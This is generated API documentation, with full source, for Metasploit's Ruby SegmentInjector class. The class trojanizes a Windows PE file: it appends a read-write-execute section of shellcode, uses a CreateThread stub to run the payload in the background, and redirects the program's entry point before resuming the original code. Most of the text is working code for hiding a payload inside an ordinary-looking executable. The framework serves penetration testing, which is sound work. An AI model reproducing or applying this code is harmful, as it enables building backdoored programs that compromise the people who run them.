Class: Msf::Exe::SegmentInjector

Inherits:
Object
  • Object
show all
Defined in:
lib/msf/core/exe/segment_injector.rb

Instance Attribute Summary collapse

Instance Method Summary collapse

Constructor Details

#initialize(opts = {}) ⇒ SegmentInjector

Returns a new instance of SegmentInjector


13
14
15
16
17
18
19
20
21
# File 'lib/msf/core/exe/segment_injector.rb', line 13

def initialize(opts = {})
  @payload = opts[:payload]
  @template = opts[:template]
  @arch  = opts[:arch] || :x86
  @buffer_register = opts[:buffer_register] || 'edx'
  unless %w{eax ecx edx ebx edi esi}.include?(@buffer_register.downcase)
    raise ArgumentError, ":buffer_register is not a real register"
  end
end

Instance Attribute Details

#archObject

Returns the value of attribute arch


10
11
12
# File 'lib/msf/core/exe/segment_injector.rb', line 10

def arch
  @arch
end

#buffer_registerObject

Returns the value of attribute buffer_register


11
12
13
# File 'lib/msf/core/exe/segment_injector.rb', line 11

def buffer_register
  @buffer_register
end

#payloadObject

Returns the value of attribute payload


8
9
10
# File 'lib/msf/core/exe/segment_injector.rb', line 8

def payload
  @payload
end

#templateObject

Returns the value of attribute template


9
10
11
# File 'lib/msf/core/exe/segment_injector.rb', line 9

def template
  @template
end

Instance Method Details

#create_thread_stubObject


32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# File 'lib/msf/core/exe/segment_injector.rb', line 32

def create_thread_stub
  <<-EOS
    pushad
    push hook_libname
    call [iat_LoadLibraryA]
    push hook_funcname
    push eax
    call [iat_GetProcAddress]
    lea edx, [thread_hook]
    push 0
    push 0
    push 0
    push edx
    push 0
    push 0
    call eax

    popad
    jmp entrypoint

    hook_libname db 'kernel32', 0
    hook_funcname db 'CreateThread', 0

    thread_hook:
    lea #{buffer_register}, [thread_hook]
    add #{buffer_register}, 9
  EOS
end

#generate_peObject


77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
# File 'lib/msf/core/exe/segment_injector.rb', line 77

def generate_pe
  # Copy our Template into a new PE
  pe_orig = Metasm::PE.decode_file(template)
  pe = pe_orig.mini_copy

  # Copy the headers and exports
  pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4]
  pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
  pe.header.time = pe_orig.header.time

  # Don't rebase if we can help it since Metasm doesn't do relocations well
  pe.optheader.dll_characts.delete("DYNAMIC_BASE")

  prefix = ''
  if pe.header.characteristics.include? "DLL"
    # if there is no entry point, just return after we bail or spawn shellcode
    if pe.optheader.entrypoint == 0
      prefix = "cmp [esp + 8], 1
          jz spawncode
entrypoint:
          xor eax, eax
          inc eax
          ret 0x0c
          spawncode:"
    else
      # there is an entry point, we'll need to go to it after we bail or spawn shellcode
      # if fdwReason != DLL_PROCESS_ATTACH, skip the shellcode, jump back to original DllMain
      prefix = "cmp [esp + 8], 1
          jnz entrypoint"
    end
  end
  # Generate a new code section set to RWX with our payload in it
  s = Metasm::PE::Section.new
  s.name = '.text'
  s.encoded = payload_stub prefix
  s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]

  # Tell our section where the original entrypoint was
  if pe.optheader.entrypoint != 0
    s.encoded.fixup!('entrypoint' => pe.optheader.image_base + pe.optheader.entrypoint)
  end
  pe.sections << s
  pe.invalidate_header

  # Change the entrypoint to our new section
  pe.optheader.entrypoint = 'hook_entrypoint'
  pe.cpu = pe_orig.cpu

  pe.encode_string
end

#payload_as_asmObject


61
62
63
64
65
66
67
# File 'lib/msf/core/exe/segment_injector.rb', line 61

def payload_as_asm
  asm = ''
  @payload.each_byte do |byte|
    asm << "db " + sprintf("0x%02x", byte) + "\n"
  end
  return asm
end

#payload_stub(prefix) ⇒ Object


69
70
71
72
73
74
75
# File 'lib/msf/core/exe/segment_injector.rb', line 69

def payload_stub(prefix)
  asm = "hook_entrypoint:\n#{prefix}\n"
  asm << create_thread_stub
  asm << payload_as_asm
  shellcode = Metasm::Shellcode.assemble(processor, asm)
  shellcode.encoded
end

#processorObject


23
24
25
26
27
28
29
30
# File 'lib/msf/core/exe/segment_injector.rb', line 23

def processor
  case @arch
  when :x86
    return Metasm::Ia32.new
  when :x64
    return Metasm::X86_64.new
  end
end